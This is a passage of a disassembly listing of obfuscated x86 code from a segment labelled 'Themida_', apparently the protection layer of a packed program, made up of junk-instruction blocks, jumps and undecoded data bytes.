		or	eax, eax
		jz	loc_552F52
		push	44Bh
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	239Ah
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_55A7FF
; ---------------------------------------------------------------------------


loc_558CEE:				; CODE XREF: Themida_:0055AD2Cj
		pop	esi
		add	ecx, edi
		add	ecx, 3F1B2FC8h
		jmp	loc_55193D
; ---------------------------------------------------------------------------
		dd 0F9B1F381h, 0DF017D83h, 0BE06E95Bh, 0B050FFFFh, 0B25266ADh
		dd 0C363E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D16:				; CODE XREF: Themida_:005574F3j
		add	edx, 7F4451BAh
		sub	edx, 3AA0022Fh
		jmp	loc_553CE9
; ---------------------------------------------------------------------------
		db 5Bh
		dd 26B35366h, 134BE9h, 4C18100h, 83000000h, 0C8704C1h
		dd 0C605E924h, 468FFFFh, 59000000h, 0FFE1A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558D4D:				; CODE XREF: Themida_:005522DCj
		push	7253h
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_55C66F
; ---------------------------------------------------------------------------
		db 28h,	0DEh, 5Bh
		dd 305AF188h, 0EB8059C8h, 80C32830h, 505830C3h,	0A7CEE957h
		dd 0C068FFFFh, 0E900007Eh, 0FFFFEDD6h, 0CFC6E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D8A:				; CODE XREF: Themida_:00558F23j
		xor	ecx, 14F91CC6h
		shr	ecx, 7
		jmp	loc_557436
; ---------------------------------------------------------------------------
		dd 6802C183h, 7CE5h, 229EE9h
		db 0
; ---------------------------------------------------------------------------


loc_558DA5:				; CODE XREF: Themida_:00558EDBj
		add	eax, edi
		pop	edi
		jmp	loc_5517DE
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 8104C483h, 9B042444h, 11C4115h, 8104246Ch, 9B04246Ch
		dd 8B1C4115h, 0C483242Ch, 2434FF04h, 4C4835Eh, 474568h
		dd 8AE2E900h, 0E089FFFFh, 23E4BB53h, 0EBC1738Ah, 4EC8102h
		dd 89000000h, 0A0E92434h, 0C0FFFF85h, 0C68006E6h, 0E9F000EBh
		dd 0FFFF8435h
; ---------------------------------------------------------------------------


loc_558E04:				; CODE XREF: Themida_:00551CC8j
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ch, 98h
		xor	ch, 70h
		jmp	loc_55598A
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 0E9000000h, 3909h,	83243C8Bh, 0C78104C4h
		dd 4, 46851h, 0BCE90000h, 0D1FFFFF7h, 5FC381E3h, 0F738AE40h
		dd 9EBF57D3h, 50FE0FE2h, 130601B8h, 0B9C38112h,	0E942045Eh
		dd 0FFFFB60Fh
; ---------------------------------------------------------------------------


loc_558E58:				; CODE XREF: Themida_:00558486j
		mov	edi, 69473958h
		jmp	loc_55B1E0
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 0FFD2F1E9h, 0ADC281FFh, 0F73DDC03h, 0ADC281DAh, 8133063Eh
		dd 2DCB27F2h, 8BD101C4h, 0F9E92414h, 89FFFF98h,	0CD682414h
		dd 5A5D7516h, 3A0FB951h, 0C2816F13h, 23D766AEh,	0FFF5EAE9h
		dd 3C335BFFh, 243C3124h, 0FF9C97E9h, 51CFFEFFh,	2544E9h
		dd 0FB015B00h, 0BE5633FFh, 12CB725Dh, 4247429h,	0FF84BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558EC9:				; CODE XREF: Themida_:0055A7C2j
		add	edi, 3DE24BB4h
		xor	edi, 36CC3704h
		sub	edi, 482A93CCh
		jmp	loc_558DA5
; ---------------------------------------------------------------------------
		dd 15C28159h, 2978481Ah, 0EAE95AD0h, 54FFFF7Ah,	4C3815Bh
		dd 83000000h, 1C8704EBh, 0C895C24h, 808EB524h, 0EB28D3F5h
		dd 83240C8Bh, 28E904C4h, 1FFFFCCh, 0BF0FE9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558F1A:				; CODE XREF: Themida_:00557DB1j
		shr	ecx, 3
		xor	ecx, 29EC6A24h
		jmp	loc_558D8A
; ---------------------------------------------------------------------------


loc_558F28:				; CODE XREF: Themida_:0055095Aj
		mov	ebp, 2A272468h
		add	eax, ebp
		pop	ebp
		add	esi, eax
		pop	eax
		add	esi, 65495EDEh
		push	ebp
		mov	ebp, 643A20FDh
		and	ebp, 7AB53EBDh
		jmp	loc_55934F
; ---------------------------------------------------------------------------
		dw 44E9h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558F4F:				; CODE XREF: Themida_:00551021j
		shr	eax, 3
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		not	ecx
		xchg	eax, ecx
		jmp	loc_558FBC
; ---------------------------------------------------------------------------
dword_558F60	dd 9D1C77FFh, 24041958h, 7825E99Ch, 5B54FFFFh, 26BEE9h
					; DATA XREF: Themida_:0055057Co
		dd 4EC8300h, 0FFB0E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558F7D:				; CODE XREF: Themida_:0055B234j
		push	ebp
		mov	ebp, 33EB402Ah
		xor	ebp, 4DFF7B7Dh
		jmp	loc_554D52
; ---------------------------------------------------------------------------
		dw 48Fh
		db '$‹$$',0
		db 4, 24h, 9Ch
		dd 0FFE366E9h, 4BFFFh, 0FB010000h, 4C3835Fh, 8B241C87h
		dd 48F2424h, 8B665C24h,	0E9572404h, 196h
; ---------------------------------------------------------------------------


loc_558FBC:				; CODE XREF: Themida_:00558F5Bj
		push	1061h
		jmp	loc_5546EA
; ---------------------------------------------------------------------------


loc_558FC6:				; CODE XREF: Themida_:0055B6A6j
		pop	eax
		shl	eax, 2
		dec	eax
		add	eax, 42963E40h
		jmp	loc_55AA58
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 4, 0FFC92EE9h, 4C483FFh, 0FFF0B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558FE9:				; CODE XREF: Themida_:0055C31Dj
		sub	cl, dh
		mov	edx, [esp]
		add	esp, 4
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_550DDC
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 50000000h,	2A3ABD55h, 81457D80h, 7B8E1EDh
		dd 5DE88972h, 1564F105h, 2A2BE944h
		db 2 dup(0)
word_559026	dw 8B66h		; DATA XREF: Themida_:00550738o
		dd 54512404h, 52240C8Bh, 0C281E289h, 4,	0FFC133E9h, 243489FFh
		dd 406E9h
		db 0
; ---------------------------------------------------------------------------


loc_559045:				; CODE XREF: Themida_:0055B8D6j
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_550EF7
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 0E0895024h, 5CBF5752h, 534F3950h, 791A88BBh,	85C3817Dh
		dd 5610F459h, 0DA7CC6BEh, 343DE904h, 0B9510000h, 2, 0FFBD53E9h
		dd 4BAFFh, 0D7010000h, 0FF9F4CE9h, 0C48359FFh, 0CCF58104h
		dd 1043239h, 0C335DE9h,	240C3124h, 0E9240C33h, 2F33h
; ---------------------------------------------------------------------------


loc_5590B4:				; CODE XREF: Themida_:0055879Bj
		pop	esi
		jmp	loc_559868
; ---------------------------------------------------------------------------


loc_5590BA:				; CODE XREF: Themida_:00557349j
		mov	ebx, 736753EBh
		push	edx
		mov	edx, 7B8A070Dh
		shr	edx, 1
		add	edx, 3F4E4DA9h
		sub	edx, 437D47AAh
		and	edx, 5EE032B9h
		add	edx, 12303E27h
		sub	edx, 27A02693h
		xor	ebx, edx
		pop	edx
		add	ebx, 57987245h
		push	edi
		jmp	loc_5538F1
; ---------------------------------------------------------------------------
		dd 2C58166h, 0C5816648h, 2166B9E3h, 3658E9E9h, 66590000h
		dd 67EC781h, 0FF992FE9h, 5EE0BEFFh, 0C629BEEBh,	5EF78958h
		dd 0FFEFB9E9h, 0D3F75BFFh, 4BFFEB83h, 6E18EB81h, 95E9048Ah
		dd 50FFFFA4h, 0CB649BB8h, 15D12528h, 0EC833FBDh, 24148904h
		dd 0FFF44FE9h, 48F66FFh, 7641E987h, 1468FFFFh, 54000079h
		dd 5124048Fh, 1308E9h, 0ABE78100h, 575BDB25h, 0F7595F51h
		dd 55CF87D9h, 0AD5ABBDh, 0E9EF294Ah, 0FFFF8F9Ch, 50242C8Bh
		dd 0FFA883E9h, 240C31FFh, 0E9240C33h, 0FFFFCE7Ch, 2B8h
		dd 58C12900h, 31F068h, 240C8900h, 42474FFh, 83240C8Bh
		dd 0C8904ECh, 0E9595424h, 29ACh
; ---------------------------------------------------------------------------


loc_5591B4:				; CODE XREF: Themida_:0055C55Bj
		mov	eax, [esp]
		add	esp, 4
		push	62EDh
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 3D22229Dh
		sub	eax, 71A66E7Ah
		add	eax, 25345774h
		shl	eax, 3
		jmp	loc_55B04F
; ---------------------------------------------------------------------------
		dd 7BC1E95Dh, 2C89FFFFh, 515D5424h, 0C181E189h,	4, 8704E983h
		dd 895C240Ch, 4BA2414h,	1000000h, 24148BD5h, 4C481h, 0C5810000h
		dd 4, 31242C33h, 2C33242Ch, 24248B24h, 7168F9F7h, 8900002Eh
		dd 9C502414h, 0FF7566E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55922D:				; CODE XREF: Themida_:00559740j
		pop	edx
		sub	cl, bl
		jmp	loc_55196A
; ---------------------------------------------------------------------------
byte_559235	db 8Bh,	2 dup(24h)	; DATA XREF: Themida_:00550588o
		dd 0FF7556E9h, 4BF57FFh, 0E9000000h, 2FBCh, 1EC768h, 24148900h
		dd 0FFEAB6E9h
		db 0FFh
byte_559255	db 0FFh, 74h, 24h	; DATA XREF: Themida_:005504FCo
		dd 2434FF04h, 8324048Bh, 0D76804C4h, 0E9000016h, 23ACh
		dd 7F0BE95Ah, 0D601FFFFh, 0E9535B5Ah, 0FFFFD93Eh, 0BD242C89h
		dd 4, 0FF9D0CE9h, 59C829FFh, 1DDAC381h,	0C3816145h, 72906AC0h
		dd 0EAE9C329h, 51FFFFF5h, 6A2A25B9h, 0DDC1812Dh, 0E9D295D5h
		dd 0FFFFFC63h, 0FFFFEB81h, 0EBC1FFFFh, 4EC8106h, 0E9000000h
		dd 0FFFFE001h
; ---------------------------------------------------------------------------


loc_5592C4:				; CODE XREF: Themida_:00551F21j
		add	esp, 4
		push	dword ptr [edi+eax*4]
		add	dword ptr [esp], 54D12B7Dh
		push	dword ptr [esp]
		jmp	loc_5527C6
; ---------------------------------------------------------------------------
aIsv0		db ')ëév0',0
		align 10h
		dd 9336E956h, 8966FFFFh, 5CE9241Ch, 50FFFF80h, 7D6FE9B8h
		dd 0E9C7292Ch, 2C89h, 0D027E95Bh, 0EA01FFFFh, 4C2815Dh
		dd 52000000h, 42474FFh,	24048F5Ah, 181DE95Ch, 0E7810000h
		dd 4DF651F3h, 0D7F7EFD1h, 0A8A2F781h, 86E96C5Ch, 0BAFFFF94h
		dd 2AD977C8h, 0FF82FBE9h, 0D2EA81FFh, 1148473h,	0D2C281CAh
		dd 59148473h, 1DE9D001h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55934F:				; CODE XREF: Themida_:00558F45j
		neg	ebp
		not	ebp
		or	ebp, 112A0A09h
		sub	ebp, 5BD7610Ah
		xor	esi, ebp
		pop	ebp
		mov	edx, esi
		pop	esi
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_559E8F
; ---------------------------------------------------------------------------


loc_559387:				; CODE XREF: Themida_:0055C859j
		add	ebp, 4
		jmp	loc_559E3F
; ---------------------------------------------------------------------------


loc_559392:				; CODE XREF: Themida_:005534A4j
		push	ecx
		mov	ecx, 5A6F5D61h
		mov	edx, ecx
		pop	ecx
		or	edx, 3D225417h
		neg	edx
		not	edx
		xor	edx, 58D51637h
		shr	edx, 2
		push	4D46h
		mov	[esp], ebp
		mov	ebp, 61FCCE49h
		sub	edx, ebp
		jmp	loc_557013
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 6E3C0C8h, 8038C380h,	8EE964C3h, 66FFFFF9h, 48F6654h
		dd 9B83E924h, 0F281FFFFh, 8D48F10h, 23E9D629h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5593EB:				; CODE XREF: Themida_:00559E49j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edx
		mov	edx, 24h
		add	edx, edi
		jmp	loc_55568B
; ---------------------------------------------------------------------------


loc_5593FF:				; CODE XREF: Themida_:00558AF2j
		mov	[esp], ebx
		push	ecx
		mov	ecx, 4
		mov	ebx, ecx
		pop	ecx
		jmp	loc_55AC41
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E2682434h, 5E47AE47h, 8103E6C1h,	14296FF6h
		dd 8BF3893Eh, 0C4812434h, 4, 8102E3C1h,	1B357DE3h, 91F38168h
		dd 4B20C967h, 7A10CB81h, 5EE96FEEh, 0BEFFFFBDh,	656B2623h
		dd 5704E6C1h, 795582BFh, 5FFE2930h, 0ABEE8146h,	126390Ch
		dd 97EE9F1h, 0C1830000h, 240C8704h, 73B6525Ch, 829B151h
		dd 0C68059CEh, 2EEC0FFh, 6612F680h, 0E954B450h,	0FFFFE96Dh
		dd 0BCE9D9F6h, 58FFFFA6h, 15BDE29h, 24348BF0h, 4C481h
		dd 0BD550000h, 68A324C8h, 3BAD68h, 240C8900h, 623367B9h
		dd 244C2973h, 0AAD0E908h, 0C381FFFFh, 4, 4C381h, 1C870000h
		dd 0C0E95C24h, 57FFFF72h, 0D91DBFBFh, 83F78141h, 5543D778h
		dd 2769B951h, 4FBD018Bh, 29217889h, 0EAADE9CDh,	0C481FFFFh
		dd 4, 0FFCC28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5594FD:				; CODE XREF: Themida_:00556034j
		xchg	edi, [esp]
		pop	esp
		push	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		jmp	loc_558878
; ---------------------------------------------------------------------------
		db 89h,	0EBh, 0FFh
		dd 835D2434h, 1C8904ECh, 81E38924h, 4C3h, 4C38100h, 87000000h
		dd 0E95C241Ch, 0FFFF7257h
dword_55953C	dd 24048B66h, 815A5452h, 4ECh, 243C8900h, 1110E9h, 24042900h
					; DATA XREF: Themida_:005505C0o
		dd 44C168h, 24048900h, 4A225DB8h, 14002D13h, 4429FA90h
		dd 52580424h, 2B5A68h, 24048900h, 1673A3B8h, 7A5BE933h
		db 2 dup(0FFh)
word_55957E	dw 0F66h		; DATA XREF: Themida_:00550554o
		dd 686602B6h, 896635FAh, 4E92404h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55958F:				; CODE XREF: Themida_:00556C5Cj
		add	dh, bl
		sub	dh, 0Ch
		jmp	loc_55C06C
; ---------------------------------------------------------------------------
		db 1, 0DDh, 5Bh
		dd 2C8BE801h, 4C48324h,	405h, 24043300h, 33240431h, 685C2404h
		dd 2B69h, 54242C89h, 0FFEC83E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5595C1:				; CODE XREF: Themida_:00557EB3j
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55A7AC
; ---------------------------------------------------------------------------
byte_5595CD	db 68h,	87h, 0		; DATA XREF: Themida_:00550724o
		dd 14890000h, 81E28924h, 4C2h, 0A9B95100h, 0F73ED125h
		dd 8E1C1D1h, 0FFFFC181h, 0E1C1FFFFh, 0B9D1E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5595F6:				; CODE XREF: Themida_:00556FD6j
		add	edx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_5510FC
; ---------------------------------------------------------------------------


loc_559607:				; CODE XREF: Themida_:0055BE9Bj
		add	edx, 42A724C4h
		push	ebp
		push	edx
		mov	edx, 0C4AF3A76h
		push	4B5Bh
		mov	[esp], edx
		jmp	loc_555540
; ---------------------------------------------------------------------------
byte_559621	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:00550638o
		dd 197568h, 24348900h, 113368h,	241C8900h, 0FFB1DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559639:				; CODE XREF: Themida_:00551954j
		add	ebx, esi
		push	edi
		mov	edi, 6BCE7E4Ah
		and	edi, 6E409B1h
		not	edi
		add	edi, 44F07074h
		jmp	loc_55158D
; ---------------------------------------------------------------------------
		dd 0BD665566h, 3BE95C38h
		db 0B5h, 2 dup(0FFh)
byte_55965F	db 51h			; DATA XREF: Themida_:0055058Co
		dd 4AE9E189h, 81FFFFD7h, 0F447C7C1h, 24048B51h,	1077E9h
		dd 2CE95F00h, 57000021h, 0B42FEB68h, 0CF815F1Dh, 3BB00ED2h
		dd 7D25C781h, 0EFC17EDFh, 0F7C78106h, 897B22C6h, 0F5815FFDh
		dd 65820B64h, 0E956E5D1h, 0FFFFDD04h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFF70DBh, 81E18951h, 4C1h, 0DB96E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5596C6:				; CODE XREF: Themida_:00551D4Cj
		pop	edi
		or	ebp, 24BA1AA4h
		jmp	loc_5516D4
; ---------------------------------------------------------------------------


loc_5596D2:				; CODE XREF: Themida_:0055B42Fj
		sub	ebx, 65020DBDh
		sub	ebx, 5AF731Fh
		sub	ebx, ebp
		jmp	loc_55B6AB
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 8B241433h, 0F662424h, 9C2404B3h, 0FF709AE9h,	5DEA31FFh
		dd 8152DA29h, 6B8A2404h, 0E95B3560h, 0FFFFAC24h, 0A01A47BAh
		dd 2F1AE924h, 0C890000h, 764B924h, 0CA310436h, 0FFF7BBE9h
		dd 32E952FFh
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55972B:				; CODE XREF: Themida_:00553510j
		mov	[esp], ebx
		jmp	loc_555556
; ---------------------------------------------------------------------------


loc_559733:				; CODE XREF: Themida_:00558544j
		push	edx
		mov	dh, 44h
		not	dh
		sub	dh, 24h
		xor	dh, 7Bh
		mov	cl, dh
		jmp	loc_55922D
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0B4h
		dd 92B98F6h, 84E95AD5h,	2DFFFFD0h, 58554F8Fh, 0FE261605h
		dd 240C8B24h, 5304C483h, 64E268h, 24148900h, 352887BAh
		dd 6ECA8129h, 0C1136115h, 396805E2h, 0E9000047h, 27F0h
		dd 875DEE01h, 505C2434h, 0BC57A1B8h, 0CAFE92Ch,	8F5B0000h
		dd 248B2404h, 4C38124h,	81000000h, 2C3h, 241C8700h, 0C8B665Ch
		dd 0E8F1E924h
		db 2 dup(0FFh)
word_5597B6	dw 8B66h		; DATA XREF: Themida_:005506C4o
		dd 0C3E9240Ch
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5597BF:				; CODE XREF: Themida_:005568A9j
		mov	ebp, 0FFFFFFFFh
		mov	ecx, ebp
		jmp	loc_551840
; ---------------------------------------------------------------------------
		db 52h
		dd 0EC061BBAh, 7EAC136h, 0F92CA81h, 0CA813F65h,	0E5974EBh
		dd 0E0E3F281h, 0D0293CE3h, 5F0295Ah, 39E1F1Ch, 35242B2Dh
		dd 0BF4DE962h, 0D366FFFFh, 0E99C243Ch, 0FFFF6F8Fh, 0E3C38166h
		dd 0CB016678h, 0E3EB8166h, 0C3816678h, 0E959712Bh, 0FFFF9A3Eh
; ---------------------------------------------------------------------------


loc_55981C:				; CODE XREF: Themida_:00558A1Bj
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_5548E1
		push	ecx
		mov	ecx, 420D43C5h
		sub	esp, 4
		jmp	loc_55222E
; ---------------------------------------------------------------------------


loc_559835:				; CODE XREF: Themida_:0055A65Cj
		push	0AAC3DC0h
		mov	esi, [esp]
		add	esp, 4
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	236Dh
		mov	[esp], ecx
		jmp	loc_550E61
; ---------------------------------------------------------------------------
		dd 24048F5Eh, 924248Bh,	0E99C2404h, 0FFFFB6A5h
; ---------------------------------------------------------------------------


loc_559868:				; CODE XREF: Themida_:005590B5j
		add	edx, 4
		jmp	loc_55216F
; ---------------------------------------------------------------------------


loc_559870:				; CODE XREF: Themida_:005587B8j
		mov	[esp], ebx
		jmp	loc_55AEB2
; ---------------------------------------------------------------------------
		dd 0C007EEC0h, 0EE8007EEh, 2CA70478h, 4F000D8h,	0E9A72CD8h
		dd 0FFFFC499h, 166EE956h, 1EBE0000h, 216BEA28h,	0D7F75EF7h
		dd 0FFCF9EE9h, 2434FFFFh, 0FFF7ECE9h, 24048BFFh, 5204C483h
		dd 0C281E289h, 4, 4B850h, 0C2010000h, 0F97EE958h, 0D6F7FFFFh
		dd 4DEAF681h, 0C68146FEh, 0D14E27A1h, 42E9F521h, 0E9FFFFCAh
		dd 0FFFF6EAFh
; ---------------------------------------------------------------------------


loc_5598E4:				; CODE XREF: Themida_:00556CC7j
		add	eax, 4
		push	eax
		jmp	loc_55A853
; ---------------------------------------------------------------------------
		db 56h
		dd 0FF8BF7E9h, 0D8015BFFh, 5678F005h, 2434FF03h, 4C4815Bh
		dd 68000000h, 0AD6h, 0FFAF84E9h, 2474FFFFh, 0D5EEE904h
		dd 74E9FFFFh
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55991F:				; CODE XREF: Themida_:005507CCj
		not	edi
		add	edi, 257324DBh
		jmp	loc_551D92
; ---------------------------------------------------------------------------
		dd 0E9242C33h, 7F8h, 5AD0015Dh,	4EC81h,	2C890000h, 456FBD24h
		dd 68526391h, 2BEC275Ah, 0FF9DE95Ah, 0ED81FFFFh, 3596FBAh
		dd 0FF9E95E9h, 0F6B753FFh, 5BF828h, 45B353F8h, 8007E3C0h
		dd 0C38041F3h, 0E8F0E941h, 0DEF7FFFFh, 712EF681h, 0DEF70C0Eh
		dd 0BEBEC681h, 0CEE9DAB9h, 81FFFF7Fh, 295147C6h, 5EEC165h
		dd 0FA76E953h, 0EC20FFFFh, 22F48059h, 8058E308h, 0D80015F3h
		dd 0FFDAF8E9h, 0A1BF57FFh, 0D1381A5Dh, 0EFC14FE7h, 87E78102h
		dd 0C1448425h, 0EF8107E7h, 2123FFCh, 0FF960AE9h, 2474FFFFh
		dd 72E95F04h, 68FFFFCEh, 2E82h,	0E9240489h, 0FFFFA50Bh
		dd 0FF2434FFh, 34FF2434h, 2434FF24h, 4EC8358h, 0E9242C89h
		dd 229Dh
; ---------------------------------------------------------------------------


loc_5599FC:				; CODE XREF: Themida_:0055132Ej
		pop	esp
		mov	[esp], edx
		push	ecx
		push	5DD95702h
		jmp	loc_557C5F
; ---------------------------------------------------------------------------
		db 56h
		dd 23FCE957h
		db 2 dup(0)
word_559A12	dw 28Fh			; DATA XREF: Themida_:005504E8o
		dd 0FF6D7AE9h, 3CBA68FFh, 1C890000h, 50E38924h,	0CF12E951h
		dd 348BFFFFh, 4C48324h,	8102E3C1h, 2528F8EBh, 0B02DE96Bh
		db 2 dup(0FFh)
word_559A3E	dw 8B66h		; DATA XREF: Themida_:005505D4o
		dd 8953240Ch, 4BE56E3h,	81000000h, 0AE3CB4C3h, 8D23E927h
		dd 0E954FFFFh, 0FFFFA456h, 4C5815Dh, 83000000h,	2C3304C5h
		dd 242C3124h, 8B242C33h, 0C3312424h, 8904EC83h,	36E9240Ch
		dd 66FFFF77h, 0E934E068h, 1032h, 8001E980h, 0EB8053E9h
		dd 80CB00BEh, 5966BEC3h, 0F57C380h, 8B66C0B6h, 0F6682414h
		dd 89000017h, 0E789243Ch, 4C781h, 0C7830000h, 58A6802h
		dd 4890000h, 68E08924h,	70D3h, 0BE243489h, 4, 93E9F001h
		dd 0BFFFFFA4h, 2, 835FFD01h, 2C8904ECh,	2474FF24h, 242C8B04h
		dd 8F04C483h, 248B2404h, 2404FE24h, 6C99E99Ch, 685AFFFFh
		dd 7999h, 52243C89h, 0E21FA1BAh, 5AD7891Fh, 0EF81DFF7h
		dd 0E01DE05Bh, 505FFA01h, 2B8h,	0DEEA8100h, 0E970EC78h
		dd 0FFFFF114h, 4EE835Fh, 5C243487h, 0FF8691E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559B35:				; CODE XREF: Themida_:005561BAj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_552EC7
; ---------------------------------------------------------------------------
		dw 0BDBAh
		dd 0C167602Ch, 0F28108EAh, 1D0C264Ch, 8102EAC1h, 390EF9EAh
		dd 9BEA811Dh, 1EA21C2h,	24148BD3h, 4C481h, 0D9E90000h
		dd 5BFFFFA4h, 5758C631h, 6326F8BFh, 81D7F732h, 9CD906F7h
		dd 5FFE29CDh, 0EEC1DEF7h, 27BB5305h, 29C754CCh,	45055BDEh
		dd 29720479h, 79452DF0h, 0E95E7204h, 0FFFF8C47h, 0BB53515Eh
		dd 0A0E17EFh, 4B4BDBF7h, 0E80BEB81h, 0D989F5F1h, 59CF015Bh
		dd 0FFB7CEE9h, 0F6BA52FFh, 0BF18472Bh, 0F57BEE30h, 0BA5AD701h
		dd 0DC31A2Ah, 0E95FFA29h, 0FFFF8F23h
; ---------------------------------------------------------------------------


loc_559BDC:				; CODE XREF: Themida_:00551F73j
					; Themida_:005546E5j
		push	eax
		jmp	loc_550B5B
; ---------------------------------------------------------------------------
		dw 98BAh
		dd 0C106C664h, 0EAC102E2h, 0E2C14207h, 9A1DE905h, 0C581FFFFh
		dd 39CE0CEEh, 5B3DC581h, 0CD8104B9h, 27F84101h,	0ECED8145h
		dd 29BB87B8h, 335E5DE9h, 0C31240Ch, 240C3324h, 2124248Bh
		dd 0E99C2404h, 0FFFF6B6Bh, 0E9F1095Bh, 0FFFF91F4h, 4C281h
		dd 14870000h, 0E9515C24h, 0FFFF8E9Ah
dword_559C40	dd 24048B66h, 68B68h, 7981E900h	; DATA XREF: Themida_:005505C8o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559C4E:				; CODE XREF: Themida_:0055ACB2j
		add	ecx, edx
		jmp	loc_553219
; ---------------------------------------------------------------------------
		db 58h,	81h, 0ECh
		dd 4, 89240C89h, 2A5E68E1h, 1C890000h, 4BB24h, 0D9010000h
		dd 56241C8Bh, 8EE9E689h, 81000029h, 4C2h, 0E9565100h, 0FFFFB4A1h
		dd 5F5968h, 24048900h, 0FF8D9CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559C95:				; CODE XREF: Themida_:0055A6E7j
		pop	ebx
		add	ecx, edi
		mov	eax, [ecx]
		jmp	loc_551F1E
; ---------------------------------------------------------------------------


loc_559C9F:				; CODE XREF: Themida_:00554E53j
		neg	esi
		sub	esi, 937FBA1Eh
		or	esi, 6DA55558h
		jmp	loc_5534A3
; ---------------------------------------------------------------------------
		dw 0EB87h
		dd 0F7EB874Dh, 8510E9D3h, 0C483FFFFh, 7B25204h,	8002EA80h
		dd 0EA8001EAh, 0D7F280FFh, 0D0283304h, 93E9332Ch, 35FFFFACh
		dd 4F8DD648h, 3358C501h, 2C31242Ch, 242C3324h, 6AC3805Ch
		dd 0F1F9E953h, 0D7F7FFFFh, 2DBA6855h, 3C890000h, 525F5D24h
		dd 0D864B951h, 0CA89D722h, 8BD53159h, 0C4812414h, 4, 0A380E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559D1E:				; CODE XREF: Themida_:005552BEj
		sub	edx, 74CA749Ah
		and	eax, edx
		pop	edx
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		jmp	loc_55287D
; ---------------------------------------------------------------------------


loc_559D35:				; CODE XREF: Themida_:005565B1j
		pop	esp
		push	eax
		push	ecx
		mov	ecx, 6B145616h
		dec	ecx
		neg	ecx
		and	ecx, 3E073B49h
		or	ecx, 2D57050Ah
		or	ecx, 2BE85485h
		sub	ecx, 0FF685E5Ch
		mov	eax, ecx
		pop	ecx
		not	eax
		jmp	loc_55ADF5
; ---------------------------------------------------------------------------


loc_559D62:				; CODE XREF: Themida_:00555DC8j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	eax, 7DFF1A52h
		push	ebx
		mov	ebx, 47586669h
		push	edi
		push	eax
		mov	eax, 69824140h
		xor	eax, 4A2D320Dh
		jmp	loc_552B27
; ---------------------------------------------------------------------------


loc_559D97:				; CODE XREF: Themida_:0055204Ej
		push	small 0
		sub	[esp], ah
		mov	ah, [esp]
		add	esp, 2
		jmp	loc_551FA4
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 242C895Ch, 680BB7BDh, 8BEA8950h, 0C481242Ch,	4, 0AF68D2F7h
		dd 89000034h, 14B9240Ch, 8146C564h, 0BE6247E9h,	8BCA2132h
		dd 0C483240Ch, 277EE904h, 0E9590000h, 0FFFF6B1Ch, 0EFAAE95Eh
		dd 0C801FFFFh, 0FF7741E9h, 0E95D5EFFh, 0FFFF7E0Ah, 300E220Dh
		dd 0D0F7402Bh, 9D4E742Dh, 27F8355Ch, 0BE562F7Bh, 476F7081h
		dd 0E681D6F7h, 4C5A4567h, 2F52BB53h, 0E95521A4h, 8ABh
